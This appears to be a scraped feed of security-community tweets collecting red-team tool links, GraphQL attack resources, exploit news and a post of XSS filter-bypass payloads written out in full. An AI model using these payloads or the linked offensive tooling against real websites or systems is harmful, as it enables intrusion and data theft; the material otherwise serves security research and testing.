lu2ker

不必等候炬火

[Florian Hansemann @CyberWarship]

''GitHub - tijme/dittobytes: Metamorphic cross-compilation of C++ & C-code to PIC, BOF & EXE.''

#infosec #pentest #redteam #blueteam
https://t.co/8t8SFiaPKs

[blasty @bl4sty]

the jump scare of the morning award goes to @J0R1AN (it even adapts to different native calculators using UA-based OS detection :))

[j j @mistymntncop]

"WebAssembly Is All You Need:Exploiting Chrome and the V8 Sandbox 10+ times with WASM" by @0x10n Worth a watch :)
https://t.co/KtERVd8stC

[HackGit @hack_git]

Forwarded from Pentesting News

​ShadowMove Pivot Technique
ShadowMove is a novel technique to hijack sockets from non-cooperative processes. It is described in the paper ShadowMove: A Stealthy Lateral Movement Strategy presented at USENIX ‘20. This tech… https://t.co/LVe5ca6HBH

[Leo Xiang @leeoxiang]

有生之年终于见证浏览器支持裸的socket了，支持裸的 tcp 和 udp，搞技术的都知道这里面的门道有多深。

[Charles Shirer @bsdbandit]

This is a list of Offensive GraphQL resources that i have found on my journey hopefully this info helps someone else as well OWWWWWW yip yip love yall

This is my list of Offensive GraphQL information
## Offensive Security
### Discovery
- [Graphinder](https://t.co/hLYBQYIllN) - Blazing fast GraphQL endpoints finder using subdomain enumeration, scripts analysis and bruteforce.
- [Graphw00f](https://t.co/30MVmZPYVn) - GraphQL Server Engine Fingerprinting utility.
- [Clairvoyance](https://t.co/ZkVaohYAqQ) - Patrial introspection fetcher when introspection is disabled.
- [GraphQL Path Enum](https://t.co/2QkrcK6Plk) – Tool that lists the different ways of reaching a given type in a GraphQL schema.
- [ShapeShifter](https://t.co/ukWkpt2EH4) - Schema extraction to JSON file with introspection.
- [Goctopus](https://t.co/2uve5N6UNz) - a GraphQL endpoint discovery and fingerprinting tool.

### Exploitation
- [GraphCrawler](https://t.co/wsGlCQuFQo) - A GraphQL automated security toolkit. Grab introspection, search for sensitive queries, and then test authorization.
- [CrackQL](https://t.co/PiFjSEWk0j) - GraphQL password brute-force and fuzzing utility.
- [GraphQLMap](https://t.co/seQx7EdGBB) - A scripting engine to interact with a GraphQL endpoint for pentesting purposes.
- [https://t.co/H9E5qNpaz7](https://t.co/UHKdDsN3Mi) - One-click quick security scan of your GraphQL endpoints. Free, no login required.
- [GraphQL Threat Matrix](https://t.co/mot6wxvnq7) - GraphQL threat framework to research security gaps in GraphQL implementations.
- [InQL](https://t.co/N3OvmNN6oB) - A Burp Extension for GraphQL Security Testing.
- [BatchQL](https://t.co/MCn4uxqtvr) - GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.
- [GraphQL wordlist](https://t.co/zglp4J3mpg) - the only GraphQL wordlist for pentesting you'll ever need. Operations, field names, type names. It was collected on more than 60k distinct GraphQL schemas.

### Vulnerable Applications

- [Damn Vulnerable GraphQL Application](https://t.co/3Sbk60Vf4k) - Damn Vulnerable GraphQL Application is an intentionally vulnerable implementation of Facebook's GraphQL technology, to learn and practice GraphQL Security.

[POC GraphQL Application]
https://t.co/M0Dv7u6ki5

[hackmegraph]
https://t.co/8PyjsFI3mi

[stack hawk]
https://t.co/DwTwB3uSBH
https://t.co/fSimsJjQFN

[lu2ker @b4dbird]

@Skay_00 Wow

[lu2ker @b4dbird]

@ilovek8s 我现在用的5g通用不限量不限速月租30的卡，微信买的，那边的渠道未知。

[Lu3ky13 ⚡️⚡️ @lu3ky13]

bug bounty community

Today's publications

https://t.co/YQe2875kuR

#bugbountytips #BugBounty

[tari @tariweet]

抽空刷了 @PwnedLabs AWS 公有云安全靶场，有官方配套 WP，除了攻还有防，感觉很适合入门和补缺～ 每个靶场有相应的场景和 RealWorld 描述，也把像 BlackHat 议题的点做成靶场，整体质量很高。图中是我把知识点总结为思维导图（原图和原件在博客文末）

想刷付费部分了 :)

https://t.co/RJnEJLg0gN

[Snow Wolf @Snow_Wo1f]

用于攻击的Docker镜��
就是各种工具的镜像，方便搭建了
https://t.co/cBnmtTIg9J

[Binni Shah @binitamshah]

fileless-elf-exec : Execute ELF files on a machine without dropping an ELF : https://t.co/hmUcz8FWtK

[Anthony Weems @amlweems]

I've been reverse engineering the xz backdoor this weekend and have documented the payload format and written a proof-of-concept exploit for the RCE. The payloads are signed with an ED448 key, so I patched my own key into the backdoor for testing. :-)

https://t.co/CvKo3xPRkP

[Gray Hats @the_yellow_fall]

These vulnerabilities tracked as CVE-2024-23108 and CVE-2024-23109 (CVSS 10) could potentially allow remote, unauthenticated attackers to execute unauthorized commands through specially crafted API requests
#Fortinet #FortiSIEM
https://t.co/Sljn275deC

[HackGit @hack_git]

Disable Windows Defender

+ UAC Bypass, + Upgrade to SYSTEM

https://t.co/79EMItUUW0

#cybersecurity #pentesting #redteam

[reverseame @reverseame]

PsMapExec: A PowerShell tool that takes strong inspiration from CrackMapExec. https://t.co/GkDxp3u5e7

[Florian Hansemann @CyberWarship]

"PoC Exploit for Windows NTLM Privilege Escalation Flaw (CVE-2023-21746) Published"

#infosec #pentest #redteam
https://t.co/3VKVO5dqdJ

[VAIDIK PANDYA @h4x0r_fr34k]

Daily Notes : Day 42
XSS Payload you should try !!

<script>/&/-alert(1)</script>
<script>/&amp;/-alert(1)</script>

%00%00%00%00%00%00%00<script>alert(1)</script> (1.Null bytes are output 2.There is no space character immediately before)

<sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`">

<bleh/onclick=top[/al/.source+/ert/.source]&Tab;``>click

<script>https://t.co/BkmwUvO5ar(null,1)</script> (https://t.co/BkmwUvO5ar(%20, "XSS");)

<script>https://t.co/YQAAB5wsJS(null,1)</script>

<script>https://t.co/NZFMUonXGN(null,1)</script>

<script>alert.apply(null, [1])</script>

[Clandestine @akaclandestine]

#Red_Team_Tactics
1. Windows tokens: how to compromise a Active Directory without touching LSASS
https://t.co/ax2p6CSdY3
2. Grand Theft Auto - RF Locks Hacking Flipper-Zero Edition
https://t.co/dxTdZ6XIkl

[Clandestine @akaclandestine]

#OpSec
#Red_Team_Tactics
1. Stealth redirector for red team operation security
https://t.co/2AmLMgyKCR
2. Collection of OPSEC Tradecraft/TTPs for Red Team Ops
https://t.co/I033NylkTI